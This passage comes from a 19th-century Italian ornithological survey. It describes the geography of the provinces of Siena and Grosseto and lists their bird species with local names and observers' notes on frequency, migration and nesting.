sedentario (M.). Accentor collaris. Avuto in dicembre e gennaio (P.). Accentor modularis, Scopina. Scopaiola. Sedentaria e di passo in autunno (P. M.). Regulus cristatus, Fiorrancino. Sedentario (P. M.). Regulus ignicapillus, Fiorrancino. Sedentario (P. M.). Acredula Irbyi, Codibugno, Codibugnolo. Sedentario e comune (P. M.). Parus major, Cinciallegra, Cingallera. Sedentaria e comune (P. M.). Parus ater. Avuta in ottobre e dicembre (P.). Cyanistes caeruleus. Comune (P.). Pœcile palustris. Avuta in novembre (P.). Sitta cæsia, Picchio muratore. Avuto in marzo e dicembre (P.); sedentario (M.). Certhia brachydactyla, Rampichino. Sedentario ed autunnale (P. M.). Oriolus Galbula, Rigogolo. Avuto in giugno (P.); estivo (M.). Lanius Excubitor. Avuto un maschio nel 1883 (P.). Lanius minor, Velia. Avuta in giugno (P.); estiva (M.). Lanius Collurio, Velia. Avuta in giugno (P.); estiva (M.). Lanius auriculatus, Velia. Avuta in giugno (P.); estiva (M.). Hirundo rustica, Rondine. Estiva (P. M.). Chelidon urbica, Balestruccio. Estivo (P. M.). Cypselus Apus, Rondone. Estivo e comune (M.). Caprimulgus europæus, Nottolaccio, Nottolone, Merdaiolo. Avuto in luglio (P.); estivo (M.). Picus major. Avuto in novembre e dicembre (P.). Picus minor. Avuto in novembre (P.). Gecinus viridis, Picchio verde, Picchio galletto. Sedentario (P. M.). Iynx Torquilla, Torcicollo. Di passo in autunno (P.); estivo (M.). Cuculus canorus, Cavulo. Avuto in aprile (P.); estivo (M.). Alcedo Ispida, Uccel Santa Maria. Avuto in ottobre e novembre (P.); sedentario (M.). Merops Apiaster, Tordo marino. Ebbi maschio e femmina in settembre 1885 (P.); di scarso passaggio (M.). Upupa Epops, Bubbola. Avuta in giugno (P.); estiva (M.). Strix flammea, Barbagianni. Avuto in primavera (P.); sedentario (M.). Syrnium Aluco, Allocco. Sedentario nei boschi (M.). Asio Otus, Gufo. Avuto in primavera ed in dicembre (P.); sedentario (M.). Asio accipitrinus. Avuto in dicembre (P.). Athene Noctua, Civetta. Sedentaria (P. M.). Scops Gius, Chiù. Avuto in giugno (P.); estivo (M.). Circus Swainsoni. Ebbi un maschio adulto il 13 marzo 1886 (P.). Circaëtus gallicus, Biancone. Ebbi una femmina il 2 settembre 1886 (P.). Aquila clanga. Ebbi un maschio il 1° novembre 1885 (P.). Buteo vulgaris. Avuta in ottobre (P.). Milvus migrans. Ebbi una femmina il 3 settembre 1886 (P.). Hypotriorchis Subbuteo. Avuto nell’ottobre 1886, ucciso da un branchetto di 6 o 7 individui (P.). Æsalon regulus. Ne presi due al paretaio nell’autunno 1884 (P.). Cerchnéis Tinnunculus, Guglia. Avuto in autunno (P.); sedentario (M.). Accipiter Nisus, Falchetto. Avuto in autunno (P.); sedentario (M.). Ardea purpurea. Avuto nell’ottobre 1882 (P.). Ardeola ralloïdes. Ebbi una femmina l’11 gennaio 1883 (P.). Columba Palumbus, Colombaccio. Avuto in ottobre (P.); in scarso numero, anche sedentario (M.). Columba Oenas, Colombo. Avuta in ottobre e dicembre (P.); invernale (M.). Columba livia, Piccione torraiolo. Una volta assai comune e sedentario, ora quasi sterminato (M.). Turtur tenera, Tortora. Avuta in giugno (P.); estiva (M.). Perdix rufa, Pernice. Avuta in gennaio ed ottobre (P.); sedentaria (M.). Starna Perdix, Starna. Avuta in febbraio (P.); sedentaria (M.). Coturnix communis, Quaglia. Estiva, ma non abbondante (M.). Crex pratensis, Re quaglia. Non comune, di passo (M.). Vanellus Capella, Avuta in dicembre (P.). Scolopax Rusticula, Beccaccia. Avuta in gennaio (P.); invernale (M.). Gallinago caelestis. Avuto in dicembre (P.). Siena e Grosseto (Dri prof. Apelle); Grosseto (Ademollo cav. prof. Alfonso): La zona da me presa ad osservare in Toscana, comprende le due province di Siena e Grosseto: la seconda peraltro per quella parte soltanto che ha per confine il mare. La provincia di Siena da me preferibilmente studiata, rimane fra la catena degli Appennini ed il Mediterraneo, ed i gradi di longitudine 28°, 35' e 29°, 31', e di latitudine 42°, 49' e 43°, 31'. È montuosa, con pianure limitate, poggi estesi e colline. La sua area è calcolata, in giro, 408 chilometri, e in superficie, circa 380,000 ettari. La sua figura è quella di un quadrilatero irregolare piuttosto allungato nel senso da N.O. a S.E. per circa 110 chilometri, e largo al più 60 chilometri da N.E. a S.O. Confina ad O. con la provincia di Pisa; a N.O. e N. con quella di Firenze, ad E. con le altre di Arezzo per mezzo dei monti del Chianti; a E. da S.E. con l'Umbria, l'antico Stato Romano, fino al Siele, e in tutto il resto con la provincia di Grosseto; la quale a sua volta, è confinata a S. e S.O. dal Mediterraneo e a S.O. dall'ex Stato Romano. Il fiume principalissimo è l'Ombrone che nascendo nelle alture di San Gomè in Chianti, e attraversando ambedue le provincie Senese e Grossetana, si scarica in mare. Nel suo tragitto dà il nome a due valli principali, cioè la Valle d'Ombrone superiore, la quale con le valli secondarie, costituisce, si può dire, la provincia Senese, e la Valle d'Ombrone inferiore. Nella Valle superiore dell'Ombrone, esso ha per tributari principali, l'Arbia, che nascendo fra la Castellina e Monte Petroso, scende per i viniferi colli del Chianti, passa presso Siena e sbocca nell'Ombrone sotto Buonconvento dando nome ad una delle più importanti valli secondarie, cioè alla Valdabia. Poi la Merse, che avendo origine sul fianco occidentale dei poggi di Prata (provincia Grossetana) e dirigendosi sotto Chiusdino (nel Senese) e quindi serpeggiando intorno all'ultimo sprone meridionale della Montagnola, passa per le gole tra i poggi di Murlo e Tocci e dopo un corso di circa 90 chilometri si scarica nell'Ombrone e dà il nome alla Val di Merse. L'Orcia finalmente che, nascendo sul versante O. del Monte di Cetona versa le sue acque nell'Ombrone, dando il nome alla Valdorcia, la quale peraltro resta per la massima parte nel Senese, ma presso l'Ombrone va per intiero, poiché l'Orcia dal punto del suo sbocco in detto fiume, fino a l'Ente, marca il confine fra la Valle d'Ombrone superiore e quella inferiore. La Valle d'Ombrone superiore dunque, con le tre secondarie dell'Arbia, della Merse e dell'Orcia, sono le Valli principali e centrali, che insieme ad altre di minor conto ed altre che dirò estreme, come la Val d'Elsa verso N.O. e Val di Poglie verso S.E. ecc. costituiscono la provincia Senese. I monti più elevati sono: il Monte Amiata, alto 1722 metri sul mare che alla base occupa una superficie di circa 330 chilometri quadrati, in parte nel Senese, in parte nel Grossetano. La Montagna di Cetona alta 1140 metri; ed il Monte di Radicofani alto metri 900. E finalmente si notano i monti del Chianti e l'umile catena della Montagnola senese. Come si può arguire dal poco già detto, l'aspetto della provincia senese è assai variato. La sua parte centrale infatti costituita da terreno pliocenico, è vestita di boschi, e specialmente da viti e olivi, nel coltivato, ove emerge lo strato superiore delle sabbie gialle, dette impropriamente tufo, come presso Siena, Trequanda, Montepulciano, Chianciano, Chiusi ecc.; si vede nudo e brullo il vastissimo tratto nel quale è restato scoperto lo strato inferiore cioè l'argilla detta impropriamente creta, il quale col suo colore cinereo, colle sue frane, la sua nudità, dà al paese un aspetto triste e monotono. L'aspetto peraltro della sua parte periferica, è tutt'altro: giacchè questa è vestita di boschi, vigne e oliveti. Sui monti del Chianti infatti, costituiti da terreno Eocenico (alberese, cioè galestro ec.) crescono boschi di Cerri, Querci ecc. e nel coltivato gli olivi e soprattutto le viti. Anche l'alberese o i galestri di Rigomagno e Modanella; le sabbie gialle, le torbiere di Bettolle, Salario e dei laghi di Chiusi e di Montepulciano, sono esse pure coperte da boschi e coltivazioni. I medesimi galestro e alberese di San Casciano dei Bagni, sono parimente vestiti di coltivazioni e di boschi. Di boschi pure di Castagni e di Faggi son coperte le trachiti del Monte Amiata. Come vestito da boschi e da coltivazioni è anche tutto il resto del contorno a S.O. fino ai monti del Chianti, dai quali mi son partito. La provincia di Grosseto è costituita da vaste pianure e da stagni e circondata da monti; cioè, il Monte Labro, che è il principale, nudo dalla base alla cima, il poggio di Montieri con i poggi di Gerfalco, il Monte Argentario, vestito di Lecci e in buona parte da viti, ed il Giglio, isola granitica. Il fiume principale è l'Ombrone dall'Orcia fino al mare che dà nome alla Valle d'Ombrone inferiore. In questo secondo tratto non ha per tributari che dei torrenti, i più notabili dei quali sono il Lanzo, il Gretona, il Mellacca ed il Trasubbia. Peraltro non è il solo fiume della provincia, e fra gli altri noterò come i primarii dopo l'Ombrone, l'Albegna e la Fiora che terminano al mare. Non mi estendo di più per questa provincia, perchè i miei studi e le mie osservazioni ornitologiche in esse fin qui fatte, si limitano alla riviera quasi tutte, il Monte Argentario ed il Giglio, e non altro (Dei). Il distretto affidato alle mie osservazioni ornitologiche si compone dell'intera provincia di Grosseto, situata nella parte occidentale dell'Italia di mezzo, che nel sistema geografico peninsulare a cui appartiene l'Italia, dicesi parte mediterranea. Fra le provincie mediterranee italiane, quella di Grosseto è situata precisamente nei gradi di longitudine 28°, 12', e 39°, 6', e di latitudine 42°, 22', e 43°, 6' in modo che il suo lato SS.E. (levante-scirocco), confina colla provincia di Roma e trovasi a gradi 34°, 55' di longitudine; il suo lato O.N.O. (ponente-maestro), che confina con la provincia di Pisa, trovasi a gradi 33°, 50' di longitudine; il suo lato mediterraneo o marino che confina tutto col mare e che trovasi esposto a SS.O. (mezzogiorno-libeccio) è nei gradi di latitudine 41°, 55', come il suo lato NN.E. (greco-tramontana) e che confina colla provincia di Siena, rimane nei gradi 42°, 40' della medesima latitudine. La provincia di Grosseto colla sua costa fronteggia tutte le isole che costituiscono l'Arcipelago toscano, alcune delle quali gli appartengono. Essa ha la figura di un quadrato allungato o di un ovoide allungato, o meglio di un vasto anfiteatro con lati frastagliati. La provincia di Grosseto è molto vasta, avendo un'estensione territoriale di 442,057 ettari quadrati, 69 ari, 77 centimetri, pari a 4434 chilometri quadrati, cifra che ascende a 5 mila chilometri quadrati, se vi aggiungiamo la superficie delle isole e delle isolette che gli appartengono. La percorrenza della sua costa mediterranea, senza tener conto delle sporgenze e sinuosità, è di chilometri 107. Le maggiori distanze di questa provincia sono dal fiume Cornia e dal Frassine in comune di Massa Marittima, al torrente Tasono e Montauto in comune di Manciano, linea che lo attraversa longitudinalmente e che dal confine Pisano procede a quello Romano, ha una percorrenza di 130 mila metri. Altra linea che partendo dalla costa a Talamone in comune di Orbetello, risalendo traversalmente al Monte Amiata, al di là dei torrenti Vivo e Vetra cioè, al confine Senese ha una percorrenza di oltre 100 mila metri; le linee poi oblique traversanti la provincia danno una quasi equidistanza di 120 mila metri. Queste distanze aumentano dai 20 ai 30 mila metri se noi vi includiamo il promontorio Argentario e le isole di Giannutri e del Giglio. Le vallate principali della provincia di Grosseto, procedono da est per ovest, sono quelle dei fiumi Paglia, Fiora, Albegna, Ombrone, Bruna, Alma, Pecora e Cornia e molti altri corsi di acqua di ordine secondario. Le maggiori pianure, ove hanno sede i paduli dimora prediletta di molti generi di uccelli, sono quelle di Grosseto, dell'Alberese, degli Acquisti, del Collecchio, di Talamone, di Camporegio, delle Basse, di Orbetello, delle Piane, dell'Alma, di Gualdo, di Rocca, di Paganico, di Follonica, di Sovana ed altre di minor conto. Dalle valli e pianure si ascende alle colline che sono con i poggi, innumerevoli, ed ai monti che serrano la provincia, quali sono i principali, il Monte Amiata colle sue eccelse vette il Pizzo dell'Uccello, il Monte Labro, il Sasso di Maremma, i Monti di Montieri, le Cornate di Gerfalco, il Monte Elmo, il Vitozzo ed altri. Le montuosità, i luoghi poggivi e collinosi della Maremma occupano due terzi della sua estensione, mentrechè la pianura ne occupa un solo terzo. Circa l'altimetria ed orografia, dal livello stesso del mare e delle foci dei fiumi, s'incontrano tutte le elevazioni fino a metri 1722 che tanti ne misura l'Amiata nel punto detto Sasso di Maremma, il più culminante. Inoltre è da accennarsi, che la Maremma possiede più promontorii, più punte ed istmi, non che un numero ragguardevole di località umide, frigide, acquitrinose, palustri e lacustri. Alcuni paduli e laghi hanno ragguardevoli estensioni, quali il padule di Castiglione ed i laghi di Orbetello e di Burano, i quali ultimi, per le comunicazioni col mare, sono costituiti da acque salse. Nei terreni bassi e di pianura del distretto di osservazione ornitologica di Grosseto, geologicamente predominano i terreni terziari, quaternari, alluvionali e d'importazione, più limitatamente arenosi, costituiti da dune e da tomboli In questa zona piana e pianeggiante, pressoché tutta afflitta dalla malaria, si fanno le grandi colture del frumento, delle biade, dei fieni ed ivi sono situati estesi pascoli per l'allevamento dei Bovini, Cavallini, Ovini numerosissimi, essendo la provincia di Grosseto molto ricca a pastorizia. Non manca la coltura della zea, della segala, dell'orzo, degli olivi, delle viti, dei gelsi, dei pomari, ma molto più ristrettamente. Le dune e tomboli arenosi sono rivestiti generalmente di Pini domestici e silvestri, nonché di Mirti, Lentischi, Rosmarini, Corbezzoli, Tamerischi, come questi ultimi rivestono molti poggi e monti prospicienti il mare; devo aggiungere che in molti luoghi piani sviluppa benissimo il Quercus suber (la Sughera). Nelle regioni delle colline e dei poggi si raddoppia la olivocoltura, la viticoltura, mentre va diminuendo quella dei grani, biade, fieni ed incominciano i boschi e la silvicoltura. Le piante predominanti nelle boscaglie, colline e poggi sono le ginestre, le eriche, i sontri, gli ornelli, i corbezzoli, gli scopi, misti e formanti macchie o boscaglie per lo più cedue, più di rado di alto fusto per l'aggiunzione di Lecci, Cerri e Querci. Nei monti ove predomina il bosco, questo è di alto fusto e costituito da Querci, Lecci e Cerri, più in alto da Castagni e più in alto ancora da Fargne. Al piano predominano geologicamente i terreni alluvionali e nettuniani; in alcuni punti gli alabastri, il marmo, il travertino, il calcare liassico o breccia, le argille, l'arenaria, la pietra da calce. Al monte predominano le trachiti, il granito, il macigno silicico, le tufe vulcaniche, la pietra focaja, quella da sarti, i calcari di tutte le qualità, gli schisti, gli spati, molti prodotti metallici di rame, ferro, mercurio e zinco, solfo, lignite, molte acque minerali, non meno di 40 sorgenti, di cui 7 saline, 12 acidulo-ferruginose, 8 solfuree, 7 salino acidule, 2 ferruginose, 2 solfuro-ferruginose, rivelano la ricchezza del suolo e sottosuolo maremmano (Ademollo). Elenco delle specie di uccelli osservate nelle provincie di Siena e di Grosseto, coi nomi volgari locali, indicazioni di frequenza e notizie sulle migrazioni, nidificazione, ecc. ecc. Corvus Corax, Corvo grosso. Raro e sedentario ai monti (A.). Corvus Corone, Cornacchia nera. Rara assai (A.). Corvus Cornix, Cornacchia, Mulacchia. Comune e sedentaria (D. A. C.). Corvus frugilegus, Corvo. Abbonda da ottobre a marzo (D. A. C.). Lycos Monedula, Taccola, Corvacchia, Gracchiola, Merlo marino. Accidentale nel Senese, comune e sedentaria nel Grossetano (D. A.); di passo in ottobre (C.). Nucifraga Caryocatactes, Corvo marino. Accidentale; circa 30 anni fa non era tanto raro e nell’autunno più specialmente qualcuno si vedeva nel Senese, dal 1858 non ne vidi più (D.). Pica rustica, Gazzera, Cecca, Pica. Abbondante e sedentaria (D.); non frequente (A. C.). Garrulus glandarius, Ghiandaja, Bertina. Comune e sedentaria (D.); non frequente (A. C.). Sturnus vulgaris, Storno. Invernale e comune; abbondante in autunno, scarso in primavera; alcune coppie sono --- 1 Questo elenco è stato compilato sulle liste e colle notizie inviate dai signori: prof. Apelle Dei per entrambe le provincie, dott. cav. Alfonso Ademollo per quella di Grosseto, e notaio Elvidio Cambi pel distretto di Gavorrano in quella di Grosseto. Colle iniziali ho indicato la parte che spetta a ciascuno degli osservatori. Debbo infine dire che il prof. A. Dei ha pubblicato un Catalogo degli uccelli della prov. Senese, Siena, 1862, con Aggiunte e correzioni, Siena, 1872-79; opera pregevole che si occupa della prov. Senese nella sua antica estensione, cioè anche di quella Grossetana. Il cav. dott. A. Ademollo ha poi pubblicato l’Ornitologia Maremmana, Grosseto, 1877. Queste due opere sono qui state utilizzate. sedentarie e nidificano da noi (D.); abbondante al piano (A.); in ottobre (C.). **Sturnus unicolor.** Accidentale (D.). **Pastor roseus, Storno marino.** Accidentale nel giugno, vari veduti e due presi presso Siena nel 1885 (D.). **Fringilla coelebs, Fringuello.** Sedentario, invernale e di passo abbondante in ottobre e marzo (D. A. C.). **Fringilla Montifringilla, Peppola, Fringuello marino.** Comune di passo in autunno, vedonsi da ottobre a febbraio (D. A.). **Petronia stulta, Passera lagia.** Di passo in ottobre ora scarso ora copioso, ma anche nidificante (D.); invernale (A.). **Passer montanus, Passera mattusa.** Comune e sedentaria (D.). **Passer Italiæ, Passera reale.** Abbondantissima e sedentaria (D. A. C.). **Coccothraustes vulgaris, Frosone.** Sedentario, ma specialmente di passo irregolare in settembre, ottobre e marzo (D.); invernale (A.). **Ligurinus Chloris, Verdone, Verdello.** Comune e sedentario (D.); anche di passo (A. C.). **Chrysomitris Spinus, Lucarino.** Di passo ora copioso, ora scarso in ottobre e novembre (D.). **Carduelis elegans, Cardellino, Cardello.** Comune o sedentario, col nome di « Cardellino montanaro » si distingue una razza di dimensioni sensibilmente maggiori e colori più vivaci, che non è sedentaria da noi, ma giunge verso la metà d’ottobre (D.); abbondante (A. C.). **Serinus hortulanus, Raperino, Crespolino.** Comune di passo e sedentario (D. A. C.). **Cannabina Linota, Montanello, Gricciolo.** Sedentario, ma assai più abbondante in autunno ed inverno (D.); non frequente (A.). **Ægiothus rufescens.** Accidentale, uno colto a Ponte d’Arbia in ottobre 1864 (D.). **Pyrrhula europæa, Ciuffolotto.** Scarso in ottobre e novembre al piano, sedentario ai monti, così sul Monte Amiata, su quello di Cetona ec. (D.); erratico (A.). Loxia Curvirostra, Crociere. Accidentale in ottobre e novembre (D.). Miliaria Projer, Strillozzo. Invernale e comune, in scarso numero anche sedentario e nidificante (D. A. C.). Emberiza Citrinella, Zigolo giallo, Gialletto. Invernale, cioè dalla fine d’ottobre al marzo (D.); non comune (A.). Emberiza Cirlus, Nizzola. Sedentario, molti giungono in ottobre (D. A. C.). Emberiza Hortulana, Ortolano. Comune da marzo a settembre (D.); scarso in agosto (A.). Emberiza Cia, Muciattola, Nizzola muciattola. Non tanto comune, invernale (D.); erratico (A.). Emberiza Schœniclus, Migliarino. Invernale e non comune nel Senese, nidifica in Maremma (D.); sedentario (A. C.). Emberiza pyrrhuloïdes, Passera di padule. Invernale e non comune (D.); estiva (A.). Calcarius nivallis. Raro assai, ne ebbi uno il 12 ottobre 1865 (D.). Melanocorypha Calandra, Calandra, Culandra. Sedentaria in Maremma (D. A.). Calandrella brachydactyla, Calandrino. Comune di doppio passo in Maremma (D. A. C.). Alauda arborea, Lodolina, Trullora. Abbastanza comune, sedentaria e di passo (D. C.). Alauda arvensis, Lodola pantera. Vedesi abbondante dall’ottobre al marzo, non mi risulta che abbia mai nidificato nel Senese (D.); comune e sedentaria (A. C.). Galerita cristata, Cappellaccia, Lodola cappellana (Grosseto). Sedentaria e comunissima (D. A. C.). Agrodroma campestris, Corrisodo, Corriere. Comune sulle crete da agosto ad ottobre (D.); erratico (A.). Corydalla Richardi. Accidentale, ne ebbi uno il 20 ottobre 1863 (D.). Anthus pratensis, Piscola. Invernale e comune (D. A.); passa in ottobre (C.). Anthus trivialis, Torlino. Abbondante di passo in settembre ed aprile (D.); e dal luglio al settembre (A.). Anthus Spipoletta, Spioncello, Piscola di padule. Invernale e scarso (D. A.). Budytes flavus, Cutti. Scarso, di passo in aprile ed agosto (D.). Budytes cinereocapillus, Strisciajola. Scarsa, di passo in aprile (D.); di passo in agosto e settembre (A.). Motacilla alba, Coditremola, Cutrettola. Comunissima e sedentaria (D. A. C.). Calobates melanope, Coditremola gialla, Codizzinzola (Grosseto). Sedentaria, ma scarsa (D. A. C.). Saxicola Oenanthe, Codibiancola. Estivo e comune in settembre (D.); si vede in agosto e settembre (A.); e ottobre (C.). Saxicola Stapazina. Rara, avuta il 4 maggio 1866 da Orbetello (D.). Dromolæa leucura. Ne ebbi una da Orbetello il 2 maggio 1865 (D.); accidentalé (A.). Monticola saxatilis, Codirossone, Tordo marino. Estivo, ora più ora meno abbondante (D. A.). Monticola Cyanus, Passera solitaria. Comune e sedentaria (D. A. C.). Merula nigra, Merlo. Comune e sedentario, molti giungono a svernare (D. A. C.). Merula torquata, Merlo col petto bianco. Di comparsa irregolare e scarsa (D.). Turdus atrigularis. Accidentale, ebbi un maschio da Belforte il 30 novembre 1863 (D.). Turdus obscurus. Accidentale, uno sarebbe stato preso nel Senese alla metà del dicembre 1877 (D.). Turdus pilaris, Tordela alpigna. Invernale, ora più ora meno abbondante, dall'ottobre al marzo 1885 molte rimasero nei boschi di Val d'Orcia (D. A.). Turdus iliacus, Tordo alpigino. Invernale, più comune della precedente (D. A. C.). Turdus musicus, Tordo. Abbondante d'inverno, in scarso numero sedentario (D. A. C.). Turdus viscivorus, Tordela, Tordo maggiore. Scarsa, sedentaria, abbondante d'autunno e d'inverno (D. A.). Aëdon Luscinia, Rusignolo. Abbondante da aprile alla metà di settembre; l'ho udito già cantare il 25 marzo, alla fine del settembre quasi tutti sono andati (D. A. C.). Erithacus Rubecula, Pettiere. Scarsamente sedentario, assai copioso in autunno ed inverno, cioè dall'ottobre al marzo (D. A. C.). Cyanecula Wolfi. Raro, avuto in aprile ed ottobre (D.). Ruticilla Phoenicurus, Codiroso. Ora più ora meno abbondante in marzo, aprile e settembre, qualche coppia rimane l'estate e nidifica al Monte Amiata ed alla Montagnola Senese (D. A. C.). Ruticilla titys. Raro assai (D.). Pratincola Rubicola, Saltinpalo, Frocasini. Sedentario e comune (D. A. C.). Pratincola Rubetra, Saltinpalo, Saltancecce. Poco comune da settembre a novembre (D.); passa anche in aprile (A.). Sylvia orphaea, Bigia grossa, Beccaficone. Estiva, ma non comune (D.). Sylvia cinerea, Beccafico passerino. Abbondante da aprile a settembre (D.). Sylvia Curruca. Assai rara, ne ebbi un solo nell'agosto 1857 da Radi (D.). Sylvia subalpina, Beccafico, Occhio rosso. Comune da maggio a ottobre (D.); sedentaria (A. C.). Monachus Atricapillus, Capinera. Comune e sedentaria (D. A. C.). Monachus hortensis, Beccafico. Di passo regolare in settembre (D. A. C.). Pyrophthalma melanocephala, Occhio cotto, Occhio rosso. Comune e sedentario in Maremma (D. A. C.). Melizophilus undatus, Occhi rossi. Sedentaria e comune, abbonda più d'inverno (D. A.). Phylloscopus sibilator, Luì verde. Giunge in ottobre e anche in novembre e si trattiene sino all'aprile (A.). Phylloscopus Trochilus, Luì grosso. Giunge in aprile e parte in settembre (A.). Phylloscopus Bonellii, Luì. Non comune, giunge in aprile, parte in settembre (D. A.). Phylloscopus rufus, Luì. Comune dal settembre al marzo (D.): sverna da noi (A.); sedentario (C.). Hypolais icterina, Beccafico, Canapino. Arriva in maggio e parte in settembre (A.). Hypolais polyglotta, Beccamoro. Comune da marzo a settembre (D.). Acrocephalus streperus, Beccafico di padule. Estiva, ma non comune (D. A.). Acrocephalus arundinaceus, Cannareccione. Piuttosto raro (D.); estivo (A.). Calamodus schœnobœnus, Forapaglie. Raro (D.); sedentario (A.). Calamodus aquaticus, Pagliarolo. Avuto in maggio e settembre (D.); vedesi da agosto ad ottobre (A.). Lusciniola melanopogon. Ne ebbi un solo il 25 dicembre 1863, da Grosseto (D.). Potamodus luscinioides, Salciaiola. Si vede da aprile ad ottobre (A.). Cettia Cettii, Rusignolo di padule. Sembra essere sedentario in Maremma (D. A.). Cisticola cursitans, Becca moschino. Sedentario e comune verso Montepescali (D. C.); specialmente estivo (A.). Troglodytes parvulus, Scricciolo. Autunnale ed invernale, comune e sedentario (D. A. C.). Cinclus aquaticus, Merlo acquajolo. Sedentario, ma scarso (D. A.). Accentor collaris, Sordone, Gogo. Accidentale d'inverno; nel 1878 ne comparvero molti a Rocca Federighi (D.); vedesi in ottobre (C.). Accentor modularis, Passera scopajola. Comune d'autunno e d'inverno (D.); piuttosto rara, ma sedentaria (A.); di passo in ottobre (C.). Regulus cristatus, Fiorrancino. Invernale (D.); sedentario (C.). Regulus ignicapillus, Fiorrancino. Invernale (D.). Ægithalus pendulinus, Fiaschettone. Scarso, avuto in settembre; è però nidificante (D. A.). Acredula Irbyi, *Colibugnolo*. Sedentario e comune (*D. A. C.*). Panurus biarmicus, *Basettino*. Scarso, nidificante al lago di Chiusi (*D.*); sedentario (*C.*). Parus major, *Cingalina*. Comune e sedentaria (*D. A. C.*). Parus ater. Invernale e scarsa (*D.*). Cyanistes caeruleus, *Potazzina*. Comune e sedentaria (*D. A. C.*). Poecile palustris, *Cineia bigia*. Poco frequente, cova alla Montagnola Senese (*D.*); sedentaria (*A.*). Sitta cæsia, *Picchio bigio*, *Picchietto*. Comune e sedentario (*D. A. C.*). Certhia brachydactyla, *Rampichino*. Comune e sedentario (*D. A. C.*). Tichodroma muraria, *Picchio murajolo*. Non comune, ma sedentario (*D. A. C.*). Oriolus Galbula, *Rigogolo*. Estivo, più abbondante all’arrivo in aprile che non in settembre (*D. A. C.*); ne vidi già nel mio orto il 20 marzo 1863 ed il 18 marzo 1875 (*D.*). Lanius Excubitor, *Gazzina reale*, *Gueja gazzina reale*. Non comune in primavera, autunno ed inverno (*D.*); scarso in novembre e dicembre (*A.*). Lanius minor, *Gueja gazzina*, *Gazzina*. Comune da aprile a settembre (*D. A.*). Lanius Collurio, *Gueja cenerina*, *Gueja*, *Velia*,—Scopina, *Scopaiola*, *Ghirola* (Grosseto). Assai comune ed estiva (*D.*); non frequente (*A. C.*). Lanius auriculatus, *Gazzina rossa*, *Velia rossa* o *Capirossa*. Comune ed estiva (*D. A. C.*). Muscicapa collaris, *Balia*. Rara assai in aprile (*D.*); estiva (*A.*). Butalis Grisola. Avuto in agosto e settembre; nel maggio trovai il nido colle uova al Monte Argentario (*D.*); estivo (*C.*). Hirundo rustica, *Rondine*. Abbondante dal marzo al settembre (*D. A. C.*). Chelidon urbica, *Balestruccio*. Abbondantissimo ed estivo, arriva e parte poco dopo la Rondine (*D. A. C.*). Clivicolà riparia. Estivo, abbondante, nidifica a colonie lungo l’Ombrone e la Bruna (*A.*). Cotile rupestris. Ne ebbi uno dalla Maremma (D.). Cypselus Apus, Rondone. Giunge abbondante circa un mese dopo la Rondine, parte in luglio, potrei dire con precisione dal 20 al 21 di quel mese, raramente si vede qualche giovane in agosto, sarebbero quelli di una seconda covata, che ha luogo quando è andata a male la prima; nei casi usuali fa una sola covata (D.); si vede anche in settembre (A. C.). Cypselus Melba, Rondone di mare. L’ebbi dalla Maremma, cova tra le rocce del Monte Argentario (D.); vi giunge dai primi al 26 maggio e parte in luglio (D. A. C.). Caprimulgus europaeus, Stiaccione, Succiacapre, Nottolone, Piattaione. Estivo e comune (D. A. C.). Picus major, Picchio rosso maggiore.¹ Raro nel Senese, comune in Maremma, sedentario (D. A.). Picus medius, Picchio rosso mezzano. Scarso nella Maremma (D.). Picus minor, Picchio rosso minore. Sedentario e comune in Maremma (D. A. C.). Gecinus viridis, Picchio, Picchio galletto, Gallinaccio, — Picchio cavallo (Rapolano). Comune e sedentario (D. A. C.). Iynx Torquilla, Storcicollo. Comune, specialmente estivo, ma anco sedentario (D. A. C.). Cuculus canorus, Cuccule. Comune dall’aprile al settembre; gli adulti partono in agosto (D. A. C.). Coccystes glandarius. Avuta una femmina in Siena il 25 aprile 1873 (D.). Alcedo Ispida, Uccel Santa Maria. Comune e sedentario (D. A. C.). Coracias Garrula, Ghiandaia marina. Estiva, ma non comune (D.); di passo in agosto e settembre (A.); anche in aprile (C.). Merops Apiaster, Grottaione, Gorgoglione. Comune dal maggio al settembre (D. A. C.). ¹ Il dott. Ademollo ricorda il Dryocopus martius, come di comparsa accidentale in Maremma; io ritengo che ciò dipende da qualche equivoco. Upupa Eops, Puppola. Comune dall’aprile al settembre (D. A. C.). Strix flammea, Barbagianni. Comune e sedentario (D. A. C.). Syrnium Aluco, Locco, Allocco. Comune e sedentario (D. A. C.). Asio Otus, Allocco. Non comune (D. A.); sedentario (C.). Asio accipitrinus, Allocco di padule. Piuttosto comune (D.); sedentario (A.). Athene Noctua, Civetta. Comunissima e sedentaria (D. A. C.). Scops Giu, Assiolo, Chiù. Comune da aprile a settembre (D. A.). Bubo maximus, Gufo reale. Sedentario, non comune (D. A.). Circus aeruginosus, Falco di padule. Non comune (D.); sedentario (A. C.). Circus cyaneus. Raro (D.); frequente e sedentaria (A. C.). Circus cineraceus. Forse sedentaria, ma non comune (A.). Circaetus gallicus, Biancone. Poco frequente, cova al Monte Amiata (D.); sedentario (A. C.). Pandion Haliaëtus. Accidentale, ne ebbi un solo nel settembre 1858 (D.); accidentale (A.). Haliaëtus Albicilla. Di passo accidentale in Maremma (D.); ben di rado d’inverno lungo il mare (A.). Aquila clanga. Accidentale (D.). Nisaëtus pennatus. Accidentale, una fu presa il 19 ottobre 1830 presso Mondingegnoli (D.). Archibuteo lagopus. Avuta una sola volta da Grosseto (D.); assai raro ne’ rigidi inverni (A.). Buteo vulgaris, Astore, Falco gallinaio. Comune e sedentaria (D. A. C.). Pernis apivorus. Assai raro (D.); in primavera ed estate (A.). Milvus Ictinus. Raro (D.); di scarso passo d’inverno (A.); sedentario (C.). Milvus migrans. Ne ebbi uno nell’aprile 1864 (D.). Falco Peregrinus, Falcone. Piuttosto raro, ma sedentario (D. A.). Hypotriorchis Subbuteo, Lodolaio. Di passo in primavera e talvolta nidificante (D.); frequente ai due passi (A.). Æsalon regulus, Smeriglio. Poco frequente, l’ebbi in novembre e dicembre (D.); raro autunnale (A.). Cerchneis Tinnunculus, Falco rosso, Falchetto da uccelli. Comune assai e sedentario (D. A. C.). Cerchneis Naumanni. Avuto il 10 maggio 1870 soltanto (D.); di passo irregolare in primavera (A.). Cerchneis vespertinus, Falco cuculo. Di passo ora più, ora meno copioso in aprile, maggio e anche giugno (D. A.). Astur palumbarius, Astore. Raro assai (D.); sedentario (A. C.). Accipiter Nisus, Falchetto, Falchetto fringuellaio. Comune di autunno e d’inverno (D.); scarso di doppio passo (A.); sedentario (C.). Vultur monachus. Di rara e casuale comparsa (A.). Neophron Percnopterus, Capovaccajo, Aquilotto. Non comune, ma sedentario in Maremma 